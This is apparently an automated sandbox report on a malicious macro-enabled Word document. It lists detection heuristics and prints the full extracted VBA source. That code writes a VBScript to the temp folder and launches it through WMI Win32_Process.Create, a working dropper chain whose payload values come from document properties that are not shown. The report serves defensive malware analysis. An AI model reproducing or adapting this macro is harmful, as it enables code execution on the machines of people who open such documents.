Malware Insights
The sample is a malicious OOXML document containing VBA macros. The `Document_Open` macro is configured to run automatically and attempts to hide the document's content while preparing to execute a payload. It uses `CreateObject("Scripting.FileSystemObject")` and `CreateObject("WScript.Shell")` to write and execute a file from the temporary directory. The script also attempts to use WMI (`GetObject("winmgmts://./root/cimv2")`) to create a new process, indicating an attempt to download and execute a second-stage payload. The specific values for the payload execution are constructed from custom document properties, but the overall intent is clear.
Heuristics 9
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Tmp = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") -
VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.Matched line in script
Set fso = CreateObject("Scripting.FileSystemObject") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set fso = CreateObject("Scripting.FileSystemObject") -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set objWMIService = GetObject("winmgmts://./root/cimv2") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/wordprocessingml/2006/main In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/schemaLibrary/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/pictureIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/sharedTypesIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://www.w3.org/XML/1998/namespaceIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2158 bytes |
SHA-256: adc93152c75e99bef7da5f354873e019fcd00ad652faeee5dbda5f01ff056b71 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Module1.Checker
End Sub
Private Sub Document_Open()
Dim prg As Paragraph
Set prg = ActiveDocument.Paragraphs(Index:=1)
Dim pgh As Paragraph
For Each pgh In ActiveDocument.Paragraphs
pgh.Range.Select
Selection.Font.Hidden = False
Next pgh
prg.Range.Select
Selection.Font.Hidden = True
End Sub
Attribute VB_Name = "Module1"
Public Sub Checker()
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempFileName As String
Dim Tmp As String
Dim tfname As String
Tmp = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%")
tempFileName = fso.GetTempName()
tfname = Tmp + "\" + tempFileName
Set ts = fso.CreateTextFile(tfname)
Dim b10 As String
b10 = "objShell"
b10 = b10 & ".Run """
Dim b2 As String
b2 = ThisDocument.CustomDocumentProperties("SpecialProps").Value
Dim b3 As String
b3 = ThisDocument.CustomDocumentProperties("SpecialProps1").Value
Dim b1 As String
b1 = ThisDocument.CustomDocumentProperties("SpecialProps2").Value
Dim b4 As String
b4 = ThisDocument.CustomDocumentProperties("SpecialProps3").Value
ts.WriteLine b4
ts.WriteLine b10 & b1 & """""" & b2 & """"""", 0, -1"
ts.Close
Dim objWMIService As Object
Dim objProcess As Object
Dim objProgram As Object
Set objWMIService = GetObject("winmgmts://./root/cimv2")
Set objProcess = objWMIService.Get("Win32_Process")
Set objProgram = objProcess.Methods_("Create").InParameters.SpawnInstance_
objProgram.CommandLine = "wscript /E:vbscript " + tfname
Call ProcessData1(objWMIService, objProgram, "Win32_Process", "Create")
End Sub
Public Sub ProcessData1(ByRef par1 As Object, ByRef par2 As Object, ByVal par3 As String, ByVal par4 As String)
Set rVal = par1.ExecMethod(par3, par4, par2)
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 34816 bytes |
SHA-256: a30798880eab8c6158073a38e63d5c014de3976e623e38c29b65dc1e6b0be3ef |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.